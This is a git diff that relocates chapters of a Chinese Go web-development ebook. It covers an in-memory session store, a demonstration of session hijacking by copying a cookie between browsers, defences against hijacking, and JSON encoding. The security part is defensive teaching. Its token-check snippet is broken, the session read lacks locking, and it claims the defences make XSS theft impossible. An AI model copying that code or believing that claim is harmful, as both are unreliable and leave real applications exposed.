func (pder *Provider) SessionRead(sid string) (session.Session, error) {
|
||||
if element, ok := pder.sessions[sid]; ok {
|
||||
return element.Value.(*SessionStore), nil
|
||||
} else {
|
||||
sess, err := pder.SessionInit(sid)
|
||||
return sess, err
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionDestroy(sid string) error {
|
||||
if element, ok := pder.sessions[sid]; ok {
|
||||
delete(pder.sessions, sid)
|
||||
pder.list.Remove(element)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionGC(maxlifetime int64) {
|
||||
pder.lock.Lock()
|
||||
defer pder.lock.Unlock()
|
||||
|
||||
for {
|
||||
element := pder.list.Back()
|
||||
if element == nil {
|
||||
break
|
||||
}
|
||||
if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
|
||||
pder.list.Remove(element)
|
||||
delete(pder.sessions, element.Value.(*SessionStore).sid)
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionUpdate(sid string) error {
|
||||
pder.lock.Lock()
|
||||
defer pder.lock.Unlock()
|
||||
if element, ok := pder.sessions[sid]; ok {
|
||||
element.Value.(*SessionStore).timeAccessed = time.Now()
|
||||
pder.list.MoveToFront(element)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
pder.sessions = make(map[string]*list.Element, 0)
|
||||
session.Register("memory", pder)
|
||||
}
|
||||
|
||||
上面这个代码实现了一个内存存储的session机制。通过init函数注册到session管理器中。这样就可以方便的调用了。我们如何来调用该引擎呢?请看下面的代码
|
||||
|
||||
import (
|
||||
"github.com/astaxie/session"
|
||||
_ "github.com/astaxie/session/providers/memory"
|
||||
)
|
||||
|
||||
当import的时候已经执行了memory函数里面的init函数,这样就已经注册到session管理器中,我们就可以使用了,通过如下方式就可以初始化一个session管理器:
|
||||
|
||||
var globalSessions *session.Manager
|
||||
|
||||
//然后在init函数中初始化
|
||||
func init() {
|
||||
globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
|
||||
go globalSessions.GC()
|
||||
}
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Go如何使用session](<06.2.md>)
|
||||
* 下一节: [预防session劫持](<06.4.md>)
|
||||
# 6.3 session存储
|
||||
上一节我们介绍了Session管理器的实现原理,定义了存储session的接口,这小节我们将示例一个基于内存的session存储接口的实现,其他的存储方式,读者可以自行参考示例来实现,内存的实现请看下面的例子代码
|
||||
|
||||
package memory
|
||||
|
||||
import (
|
||||
"container/list"
|
||||
"github.com/astaxie/session"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var pder = &Provider{list: list.New()}
|
||||
|
||||
type SessionStore struct {
|
||||
sid string //session id唯一标示
|
||||
timeAccessed time.Time //最后访问时间
|
||||
value map[interface{}]interface{} //session里面存储的值
|
||||
}
|
||||
|
||||
func (st *SessionStore) Set(key, value interface{}) error {
|
||||
st.value[key] = value
|
||||
pder.SessionUpdate(st.sid)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (st *SessionStore) Get(key interface{}) interface{} {
|
||||
pder.SessionUpdate(st.sid)
|
||||
if v, ok := st.value[key]; ok {
|
||||
return v
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (st *SessionStore) Delete(key interface{}) error {
|
||||
delete(st.value, key)
|
||||
pder.SessionUpdate(st.sid)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (st *SessionStore) SessionID() string {
|
||||
return st.sid
|
||||
}
|
||||
|
||||
type Provider struct {
|
||||
lock sync.Mutex //用来锁
|
||||
sessions map[string]*list.Element //用来存储在内存
|
||||
list *list.List //用来做gc
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionInit(sid string) (session.Session, error) {
|
||||
pder.lock.Lock()
|
||||
defer pder.lock.Unlock()
|
||||
v := make(map[interface{}]interface{}, 0)
|
||||
newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
|
||||
element := pder.list.PushBack(newsess)
|
||||
pder.sessions[sid] = element
|
||||
return newsess, nil
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionRead(sid string) (session.Session, error) {
|
||||
if element, ok := pder.sessions[sid]; ok {
|
||||
return element.Value.(*SessionStore), nil
|
||||
} else {
|
||||
sess, err := pder.SessionInit(sid)
|
||||
return sess, err
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionDestroy(sid string) error {
|
||||
if element, ok := pder.sessions[sid]; ok {
|
||||
delete(pder.sessions, sid)
|
||||
pder.list.Remove(element)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionGC(maxlifetime int64) {
|
||||
pder.lock.Lock()
|
||||
defer pder.lock.Unlock()
|
||||
|
||||
for {
|
||||
element := pder.list.Back()
|
||||
if element == nil {
|
||||
break
|
||||
}
|
||||
if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
|
||||
pder.list.Remove(element)
|
||||
delete(pder.sessions, element.Value.(*SessionStore).sid)
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (pder *Provider) SessionUpdate(sid string) error {
|
||||
pder.lock.Lock()
|
||||
defer pder.lock.Unlock()
|
||||
if element, ok := pder.sessions[sid]; ok {
|
||||
element.Value.(*SessionStore).timeAccessed = time.Now()
|
||||
pder.list.MoveToFront(element)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
pder.sessions = make(map[string]*list.Element, 0)
|
||||
session.Register("memory", pder)
|
||||
}
|
||||
|
||||
上面这个代码实现了一个内存存储的session机制。通过init函数注册到session管理器中。这样就可以方便的调用了。我们如何来调用该引擎呢?请看下面的代码
|
||||
|
||||
import (
|
||||
"github.com/astaxie/session"
|
||||
_ "github.com/astaxie/session/providers/memory"
|
||||
)
|
||||
|
||||
当import的时候已经执行了memory函数里面的init函数,这样就已经注册到session管理器中,我们就可以使用了,通过如下方式就可以初始化一个session管理器:
|
||||
|
||||
var globalSessions *session.Manager
|
||||
|
||||
//然后在init函数中初始化
|
||||
func init() {
|
||||
globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
|
||||
go globalSessions.GC()
|
||||
}
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Go如何使用session](<06.2.md>)
|
||||
* 下一节: [预防session劫持](<06.4.md>)
|
||||
178
06.4.md → ebook/06.4.md
Executable file → Normal file
178
06.4.md → ebook/06.4.md
Executable file → Normal file
@@ -1,89 +1,89 @@
|
||||
# 6.4 预防session劫持
|
||||
session劫持是一种广泛存在的比较严重的安全威胁,在session技术中,客户端和服务端通过session的标识符来维护会话, 但这个标识符很容易就能被嗅探到,从而被其他人利用.它是中间人攻击的一种类型。
|
||||
|
||||
本节将通过一个实例来演示会话劫持,希望通过这个实例,能让读者更好地理解session的本质。
|
||||
## session劫持过程
|
||||
我们写了如下的代码来展示一个count计数器:
|
||||
|
||||
func count(w http.ResponseWriter, r *http.Request) {
|
||||
sess := globalSessions.SessionStart(w, r)
|
||||
ct := sess.Get("countnum")
|
||||
if ct == nil {
|
||||
sess.Set("countnum", 1)
|
||||
} else {
|
||||
sess.Set("countnum", (ct.(int) + 1))
|
||||
}
|
||||
t, _ := template.ParseFiles("count.gtpl")
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
t.Execute(w, sess.Get("countnum"))
|
||||
}
|
||||
|
||||
|
||||
count.gtpl的代码如下所示:
|
||||
|
||||
Hi. Now count:{{.}}
|
||||
|
||||
然后我们在浏览器里面刷新可以看到如下内容:
|
||||
|
||||

|
||||
|
||||
图6.4 浏览器端显示count数
|
||||
|
||||
随着刷新,数字将不断增长,当数字显示为6的时候,打开浏览器(以chrome为例)的cookie管理器,可以看到类似如下的信息:
|
||||
|
||||
|
||||

|
||||
|
||||
图6.5 获取浏览器端保存的cookie
|
||||
|
||||
下面这个步骤最为关键: 打开另一个浏览器(这里我打开了firefox浏览器),复制chrome地址栏里的地址到新打开的浏览器的地址栏中。然后打开firefox的cookie模拟插件,新建一个cookie,把按上图中cookie内容原样在firefox中重建一份:
|
||||
|
||||

|
||||
|
||||
图6.6 模拟cookie
|
||||
|
||||
回车后,你将看到如下内容:
|
||||
|
||||

|
||||
|
||||
图6.7 劫持session成功
|
||||
|
||||
可以看到虽然换了浏览器,但是我们却获得了sessionID,然后模拟了cookie存储的过程。这个例子是在同一台计算机上做的,不过即使换用两台来做,其结果仍然一样。此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器。不必惊讶,此处firefox盗用了chrome和goserver之间的维持会话的钥匙,即gosessionid,这是一种类型的“会话劫持”。在goserver看来,它从http请求中得到了一个gosessionid,由于HTTP协议的无状态性,它无法得知这个gosessionid是从chrome那里“劫持”来的,它依然会去查找对应的session,并执行相关计算。与此同时 chrome也无法得知自己保持的会话已经被“劫持”。
|
||||
## session劫持防范
|
||||
### cookieonly和token
|
||||
通过上面session劫持的简单演示可以了解到session一旦被其他人劫持,就非常危险,劫持者可以假装成被劫持者进行很多非法操作。那么如何有效的防止session劫持呢?
|
||||
|
||||
其中一个解决方案就是sessionID的值只允许cookie设置,而不是通过URL重置方式设置,同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie,第一这个可以防止这个cookie被XSS读取从而引起session劫持,第二cookie设置不会像URL重置方式那么容易获取sessionID。
|
||||
|
||||
第二步就是在每个请求里面加上token,实现类似前面章节里面讲的防止form重复递交类似的功能,我们在每个请求里面加上一个隐藏的token,然后每次验证这个token,从而保证用户的请求都是唯一性。
|
||||
|
||||
h := md5.New()
|
||||
salt:="astaxie%^7&8888"
|
||||
io.WriteString(h,salt+time.Now().String())
|
||||
token:=fmt.Sprintf("%x",h.Sum(nil))
|
||||
if r.Form["token"]!=token{
|
||||
//提示登录
|
||||
}
|
||||
sess.Set("token",token)
|
||||
|
||||
|
||||
### 间隔生成新的SID
|
||||
还有一个解决方案就是,我们给session额外设置一个创建时间的值,一旦过了一定的时间,我们销毁这个sessionID,重新生成新的session,这样可以一定程度上防止session劫持的问题。
|
||||
|
||||
createtime := sess.Get("createtime")
|
||||
if createtime == nil {
|
||||
sess.Set("createtime", time.Now().Unix())
|
||||
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
|
||||
globalSessions.SessionDestroy(w, r)
|
||||
sess = globalSessions.SessionStart(w, r)
|
||||
}
|
||||
|
||||
session启动后,我们设置了一个值,用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID,这样使得攻击者获取有效sessionID的机会大大降低。
|
||||
|
||||
上面两个手段的组合可以在实践中消除session劫持的风险,一方面, 由于sessionID频繁改变,使攻击者难有机会获取有效的sessionID;另一方面,因为sessionID只能在cookie中传递,然后设置了httponly,所以基于URL攻击的可能性为零,同时被XSS获取sessionID也不可能。最后,由于我们还设置了MaxAge=0,这样就相当于session cookie不会留在浏览器的历史记录里面。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [session存储](<06.3.md>)
|
||||
* 下一节: [小结](<06.5.md>)
|
||||
# 6.4 预防session劫持
|
||||
session劫持是一种广泛存在的比较严重的安全威胁,在session技术中,客户端和服务端通过session的标识符来维护会话, 但这个标识符很容易就能被嗅探到,从而被其他人利用.它是中间人攻击的一种类型。
|
||||
|
||||
本节将通过一个实例来演示会话劫持,希望通过这个实例,能让读者更好地理解session的本质。
|
||||
## session劫持过程
|
||||
我们写了如下的代码来展示一个count计数器:
|
||||
|
||||
func count(w http.ResponseWriter, r *http.Request) {
|
||||
sess := globalSessions.SessionStart(w, r)
|
||||
ct := sess.Get("countnum")
|
||||
if ct == nil {
|
||||
sess.Set("countnum", 1)
|
||||
} else {
|
||||
sess.Set("countnum", (ct.(int) + 1))
|
||||
}
|
||||
t, _ := template.ParseFiles("count.gtpl")
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
t.Execute(w, sess.Get("countnum"))
|
||||
}
|
||||
|
||||
|
||||
count.gtpl的代码如下所示:
|
||||
|
||||
Hi. Now count:{{.}}
|
||||
|
||||
然后我们在浏览器里面刷新可以看到如下内容:
|
||||
|
||||

|
||||
|
||||
图6.4 浏览器端显示count数
|
||||
|
||||
随着刷新,数字将不断增长,当数字显示为6的时候,打开浏览器(以chrome为例)的cookie管理器,可以看到类似如下的信息:
|
||||
|
||||
|
||||

|
||||
|
||||
图6.5 获取浏览器端保存的cookie
|
||||
|
||||
下面这个步骤最为关键: 打开另一个浏览器(这里我打开了firefox浏览器),复制chrome地址栏里的地址到新打开的浏览器的地址栏中。然后打开firefox的cookie模拟插件,新建一个cookie,把按上图中cookie内容原样在firefox中重建一份:
|
||||
|
||||

|
||||
|
||||
图6.6 模拟cookie
|
||||
|
||||
回车后,你将看到如下内容:
|
||||
|
||||

|
||||
|
||||
图6.7 劫持session成功
|
||||
|
||||
可以看到虽然换了浏览器,但是我们却获得了sessionID,然后模拟了cookie存储的过程。这个例子是在同一台计算机上做的,不过即使换用两台来做,其结果仍然一样。此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器。不必惊讶,此处firefox盗用了chrome和goserver之间的维持会话的钥匙,即gosessionid,这是一种类型的“会话劫持”。在goserver看来,它从http请求中得到了一个gosessionid,由于HTTP协议的无状态性,它无法得知这个gosessionid是从chrome那里“劫持”来的,它依然会去查找对应的session,并执行相关计算。与此同时 chrome也无法得知自己保持的会话已经被“劫持”。
|
||||
## session劫持防范
|
||||
### cookieonly和token
|
||||
通过上面session劫持的简单演示可以了解到session一旦被其他人劫持,就非常危险,劫持者可以假装成被劫持者进行很多非法操作。那么如何有效的防止session劫持呢?
|
||||
|
||||
其中一个解决方案就是sessionID的值只允许cookie设置,而不是通过URL重置方式设置,同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie,第一这个可以防止这个cookie被XSS读取从而引起session劫持,第二cookie设置不会像URL重置方式那么容易获取sessionID。
|
||||
|
||||
第二步就是在每个请求里面加上token,实现类似前面章节里面讲的防止form重复递交类似的功能,我们在每个请求里面加上一个隐藏的token,然后每次验证这个token,从而保证用户的请求都是唯一性。
|
||||
|
||||
h := md5.New()
|
||||
salt:="astaxie%^7&8888"
|
||||
io.WriteString(h,salt+time.Now().String())
|
||||
token:=fmt.Sprintf("%x",h.Sum(nil))
|
||||
if r.Form["token"]!=token{
|
||||
//提示登录
|
||||
}
|
||||
sess.Set("token",token)
|
||||
|
||||
|
||||
### 间隔生成新的SID
|
||||
还有一个解决方案就是,我们给session额外设置一个创建时间的值,一旦过了一定的时间,我们销毁这个sessionID,重新生成新的session,这样可以一定程度上防止session劫持的问题。
|
||||
|
||||
createtime := sess.Get("createtime")
|
||||
if createtime == nil {
|
||||
sess.Set("createtime", time.Now().Unix())
|
||||
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
|
||||
globalSessions.SessionDestroy(w, r)
|
||||
sess = globalSessions.SessionStart(w, r)
|
||||
}
|
||||
|
||||
session启动后,我们设置了一个值,用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID,这样使得攻击者获取有效sessionID的机会大大降低。
|
||||
|
||||
上面两个手段的组合可以在实践中消除session劫持的风险,一方面, 由于sessionID频繁改变,使攻击者难有机会获取有效的sessionID;另一方面,因为sessionID只能在cookie中传递,然后设置了httponly,所以基于URL攻击的可能性为零,同时被XSS获取sessionID也不可能。最后,由于我们还设置了MaxAge=0,这样就相当于session cookie不会留在浏览器的历史记录里面。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [session存储](<06.3.md>)
|
||||
* 下一节: [小结](<06.5.md>)
|
||||
12
06.5.md → ebook/06.5.md
Executable file → Normal file
12
06.5.md → ebook/06.5.md
Executable file → Normal file
@@ -1,6 +1,6 @@
|
||||
# 6.5 小结
|
||||
这章我们学习了什么是session,什么是cookie,以及他们两者之间的关系。但是目前Go官方标准包里面不支持session,所以我们设计了一个session管理器,实现了session从创建到销毁的整个过程。然后定义了Provider的接口,使得可以支持各种后端的session存储,然后我们在第三小节里面介绍了如何使用内存存储来实现session的管理。第四小节我们讲解了session劫持的过程,以及我们如何有效的来防止session劫持。通过这一章的讲解,希望能够让读者了解整个sesison的执行原理以及如何实现,而且是如何更加安全的使用session。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [session存储](<06.4.md>)
|
||||
* 下一章: [文本处理](<07.0.md>)
|
||||
# 6.5 小结
|
||||
这章我们学习了什么是session,什么是cookie,以及他们两者之间的关系。但是目前Go官方标准包里面不支持session,所以我们设计了一个session管理器,实现了session从创建到销毁的整个过程。然后定义了Provider的接口,使得可以支持各种后端的session存储,然后我们在第三小节里面介绍了如何使用内存存储来实现session的管理。第四小节我们讲解了session劫持的过程,以及我们如何有效的来防止session劫持。通过这一章的讲解,希望能够让读者了解整个sesison的执行原理以及如何实现,而且是如何更加安全的使用session。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [session存储](<06.4.md>)
|
||||
* 下一章: [文本处理](<07.0.md>)
|
||||
0
07.0.md → ebook/07.0.md
Executable file → Normal file
0
07.0.md → ebook/07.0.md
Executable file → Normal file
0
07.1.md → ebook/07.1.md
Executable file → Normal file
0
07.1.md → ebook/07.1.md
Executable file → Normal file
444
07.2.md → ebook/07.2.md
Executable file → Normal file
444
07.2.md → ebook/07.2.md
Executable file → Normal file
@@ -1,222 +1,222 @@
|
||||
# 7.2 JSON处理
|
||||
JSON(Javascript Object Notation)是一种轻量级的数据交换语言,以文字为基础,具有自我描述性且易于让人阅读。尽管JSON是Javascript的一个子集,但JSON是独立于语言的文本格式,并且采用了类似于C语言家族的一些习惯。JSON与XML最大的不同在于XML是一个完整的标记语言,而JSON不是。JSON由于比XML更小、更快,更易解析,以及浏览器的内建快速解析支持,使得其更适用于网络数据传输领域。目前我们看到很多的开放平台,基本上都是采用了JSON作为他们的数据交互的接口。既然JSON在Web开发中如此重要,那么Go语言对JSON支持的怎么样呢?Go语言的标准库已经非常好的支持了JSON,可以很容易的对JSON数据进行编、解码的工作。
|
||||
|
||||
前一小节的运维的例子用json来表示,结果描述如下:
|
||||
|
||||
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
|
||||
|
||||
本小节余下的内容将以此JSON数据为基础,来介绍go语言的json包对JSON数据的编、解码。
|
||||
## 解析JSON
|
||||
|
||||
### 解析到结构体
|
||||
假如有了上面的JSON串,那么我们如何来解析这个JSON串呢?Go的JSON包中有如下函数
|
||||
|
||||
func Unmarshal(data []byte, v interface{}) error
|
||||
|
||||
通过这个函数我们就可以实现解析的目的,详细的解析例子请看如下代码:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Server struct {
|
||||
ServerName string
|
||||
ServerIP string
|
||||
}
|
||||
|
||||
type Serverslice struct {
|
||||
Servers []Server
|
||||
}
|
||||
|
||||
func main() {
|
||||
var s Serverslice
|
||||
str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`
|
||||
json.Unmarshal([]byte(str), &s)
|
||||
fmt.Println(s)
|
||||
}
|
||||
|
||||
通在上面的示例代码中,我们首先定义了与json数据对应的结构体,数组对应slice,字段名对应JSON里面的KEY,在解析的时候,如何将json数据与struct字段相匹配呢?例如JSON的key是`Foo`,那么怎么找对应的字段呢?
|
||||
|
||||
- 首先查找tag含有`Foo`的可导出的struct字段(首字母大写)
|
||||
- 其次查找字段名是`Foo`的导出字段
|
||||
- 最后查找类似`FOO`或者`FoO`这样的除了首字母之外其他大小写不敏感的导出字段
|
||||
|
||||
聪明的你一定注意到了这一点:能够被赋值的字段必须是可导出字段(即首字母大写)。同时JSON解析的时候只会解析能找得到的字段,如果找不到的字段会被忽略,这样的一个好处是:当你接收到一个很大的JSON数据结构而你却只想获取其中的部分数据的时候,你只需将你想要的数据对应的字段名大写,即可轻松解决这个问题。
|
||||
|
||||
### 解析到interface
|
||||
上面那种解析方式是在我们知晓被解析的JSON数据的结构的前提下采取的方案,如果我们不知道被解析的数据的格式,又应该如何来解析呢?
|
||||
|
||||
我们知道interface{}可以用来存储任意数据类型的对象,这种数据结构正好用于存储解析的未知结构的json数据的结果。JSON包中采用map[string]interface{}和[]interface{}结构来存储任意的JSON对象和数组。Go类型和JSON类型的对应关系如下:
|
||||
|
||||
- bool 代表 JSON booleans,
|
||||
- float64 代表 JSON numbers,
|
||||
- string 代表 JSON strings,
|
||||
- nil 代表 JSON null.
|
||||
|
||||
现在我们假设有如下的JSON数据
|
||||
|
||||
b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
|
||||
|
||||
如果在我们不知道他的结构的情况下,我们把他解析到interface{}里面
|
||||
|
||||
var f interface{}
|
||||
err := json.Unmarshal(b, &f)
|
||||
|
||||
这个时候f里面存储了一个map类似,他们的key是string,值存储在空的interface{}里
|
||||
|
||||
f = map[string]interface{}{
|
||||
"Name": "Wednesday",
|
||||
"Age": 6,
|
||||
"Parents": []interface{}{
|
||||
"Gomez",
|
||||
"Morticia",
|
||||
},
|
||||
}
|
||||
|
||||
那么如何来访问这些数据呢?通过断言的方式:
|
||||
|
||||
m := f.(map[string]interface{})
|
||||
|
||||
通过断言之后,你就可以通过如下方式来访问里面的数据了
|
||||
|
||||
for k, v := range m {
|
||||
switch vv := v.(type) {
|
||||
case string:
|
||||
fmt.Println(k, "is string", vv)
|
||||
case int:
|
||||
fmt.Println(k, "is int", vv)
|
||||
case []interface{}:
|
||||
fmt.Println(k, "is an array:")
|
||||
for i, u := range vv {
|
||||
fmt.Println(i, u)
|
||||
}
|
||||
default:
|
||||
fmt.Println(k, "is of a type I don't know how to handle")
|
||||
}
|
||||
}
|
||||
通过上面的示例可以看到,通过interface{}与type assert的配合,我们就可以解析未知结构的JSON数了。
|
||||
|
||||
上面这个是官方提供的解决方案,其实很多时候我们通过类型断言,操作起来不是很方便,目前bitly公司开源了一个叫做`simplejson`的包,在处理未知结构体的JSON时相当方便,详细例子如下所示:
|
||||
|
||||
js, err := NewJson([]byte(`{
|
||||
"test": {
|
||||
"array": [1, "2", 3],
|
||||
"int": 10,
|
||||
"float": 5.150,
|
||||
"bignum": 9223372036854775807,
|
||||
"string": "simplejson",
|
||||
"bool": true
|
||||
}
|
||||
}`))
|
||||
|
||||
arr, _ := js.Get("test").Get("array").Array()
|
||||
i, _ := js.Get("test").Get("int").Int()
|
||||
ms := js.Get("test").Get("string").MustString()
|
||||
|
||||
可以看到,使用这个库操作JSON比起官方包来说,简单的多,详细的请参考如下地址:https://github.com/bitly/go-simplejson
|
||||
|
||||
## 生成JSON
|
||||
我们开发很多应用的时候,最后都是要输出JSON数据串,那么如何来处理呢?JSON包里面通过`Marshal`函数来处理,函数定义如下:
|
||||
|
||||
func Marshal(v interface{}) ([]byte, error)
|
||||
|
||||
假设我们还是需要生成上面的服务器列表信息,那么如何来处理呢?请看下面的例子:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Server struct {
|
||||
ServerName string
|
||||
ServerIP string
|
||||
}
|
||||
|
||||
type Serverslice struct {
|
||||
Servers []Server
|
||||
}
|
||||
|
||||
func main() {
|
||||
var s Serverslice
|
||||
s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
|
||||
s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
|
||||
b, err := json.Marshal(s)
|
||||
if err != nil {
|
||||
fmt.Println("json err:", err)
|
||||
}
|
||||
fmt.Println(string(b))
|
||||
}
|
||||
|
||||
输出如下内容:
|
||||
|
||||
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
|
||||
|
||||
我们看到上面的输出字段名都是大写的,如果你想用小写的怎么办呢?把结构体的字段名改成小写的?JSON输出的时候必须注意,只有导出的字段才会被输出,如果修改字段名,那么就会发现什么都不会输出,所以必须通过struct tag定义来实现:
|
||||
|
||||
type Server struct {
|
||||
ServerName string `json:"serverName"`
|
||||
ServerIP string `json:"serverIP"`
|
||||
}
|
||||
|
||||
type Serverslice struct {
|
||||
Servers []Server `json:"servers"`
|
||||
}
|
||||
|
||||
通过修改上面的结构体定义,输出的JSON串就和我们最开始定义的JSON串保持一致了。
|
||||
|
||||
针对JSON的输出,我们在定义struct tag的时候需要注意的几点是:
|
||||
|
||||
- 字段的tag是`"-"`,那么这个字段不会输出到JSON
|
||||
- tag中带有自定义名称,那么这个自定义名称会出现在JSON的字段名中,例如上面例子中serverName
|
||||
- tag中如果带有`"omitempty"`选项,那么如果该字段值为空,就不会输出到JSON串中
|
||||
- 如果字段类型是bool, string, int, int64等,而tag中带有`",string"`选项,那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串
|
||||
|
||||
|
||||
举例来说:
|
||||
|
||||
type Server struct {
|
||||
// ID 不会导出到JSON中
|
||||
ID int `json:"-"`
|
||||
|
||||
// ServerName 的值会进行二次JSON编码
|
||||
ServerName string `json:"serverName"`
|
||||
ServerName2 string `json:"serverName2,string"`
|
||||
|
||||
// 如果 ServerIP 为空,则不输出到JSON串中
|
||||
ServerIP string `json:"serverIP,omitempty"`
|
||||
}
|
||||
|
||||
s := Server {
|
||||
ID: 3,
|
||||
ServerName: `Go "1.0" `,
|
||||
ServerName2: `Go "1.0" `,
|
||||
ServerIP: ``,
|
||||
}
|
||||
b, _ := json.Marshal(s)
|
||||
os.Stdout.Write(b)
|
||||
|
||||
会输出以下内容:
|
||||
|
||||
{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}
|
||||
|
||||
|
||||
Marshal函数只有在转换成功的时候才会返回数据,在转换的过程中我们需要注意几点:
|
||||
|
||||
|
||||
- JSON对象只支持string作为key,所以要编码一个map,那么必须是map[string]T这种类型(T是Go语言中任意的类型)
|
||||
- Channel, complex和function是不能被编码成JSON的
|
||||
- 嵌套的数据是不能编码的,不然会让JSON编码进入死循环
|
||||
- 指针在编码的时候会输出指针指向的内容,而空指针会输出null
|
||||
|
||||
|
||||
本小节,我们介绍了如何使用Go语言的json标准包来编解码JSON数据,同时也简要介绍了如何使用第三方包`go-simplejson`来在一些情况下简化操作,学会并熟练运用它们将对我们接下来的Web开发相当重要。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [XML处理](<07.1.md>)
|
||||
* 下一节: [正则处理](<07.3.md>)
|
||||
# 7.2 JSON处理
|
||||
JSON(Javascript Object Notation)是一种轻量级的数据交换语言,以文字为基础,具有自我描述性且易于让人阅读。尽管JSON是Javascript的一个子集,但JSON是独立于语言的文本格式,并且采用了类似于C语言家族的一些习惯。JSON与XML最大的不同在于XML是一个完整的标记语言,而JSON不是。JSON由于比XML更小、更快,更易解析,以及浏览器的内建快速解析支持,使得其更适用于网络数据传输领域。目前我们看到很多的开放平台,基本上都是采用了JSON作为他们的数据交互的接口。既然JSON在Web开发中如此重要,那么Go语言对JSON支持的怎么样呢?Go语言的标准库已经非常好的支持了JSON,可以很容易的对JSON数据进行编、解码的工作。
|
||||
|
||||
前一小节的运维的例子用json来表示,结果描述如下:
|
||||
|
||||
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
|
||||
|
||||
本小节余下的内容将以此JSON数据为基础,来介绍go语言的json包对JSON数据的编、解码。
|
||||
## 解析JSON
|
||||
|
||||
### 解析到结构体
|
||||
假如有了上面的JSON串,那么我们如何来解析这个JSON串呢?Go的JSON包中有如下函数
|
||||
|
||||
func Unmarshal(data []byte, v interface{}) error
|
||||
|
||||
通过这个函数我们就可以实现解析的目的,详细的解析例子请看如下代码:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Server struct {
|
||||
ServerName string
|
||||
ServerIP string
|
||||
}
|
||||
|
||||
type Serverslice struct {
|
||||
Servers []Server
|
||||
}
|
||||
|
||||
func main() {
|
||||
var s Serverslice
|
||||
str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`
|
||||
json.Unmarshal([]byte(str), &s)
|
||||
fmt.Println(s)
|
||||
}
|
||||
|
||||
通在上面的示例代码中,我们首先定义了与json数据对应的结构体,数组对应slice,字段名对应JSON里面的KEY,在解析的时候,如何将json数据与struct字段相匹配呢?例如JSON的key是`Foo`,那么怎么找对应的字段呢?
|
||||
|
||||
- 首先查找tag含有`Foo`的可导出的struct字段(首字母大写)
|
||||
- 其次查找字段名是`Foo`的导出字段
|
||||
- 最后查找类似`FOO`或者`FoO`这样的除了首字母之外其他大小写不敏感的导出字段
|
||||
|
||||
